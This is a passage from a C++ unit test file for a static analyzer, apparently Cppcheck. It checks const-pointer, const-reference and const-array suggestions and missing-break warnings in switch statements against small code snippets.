v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" 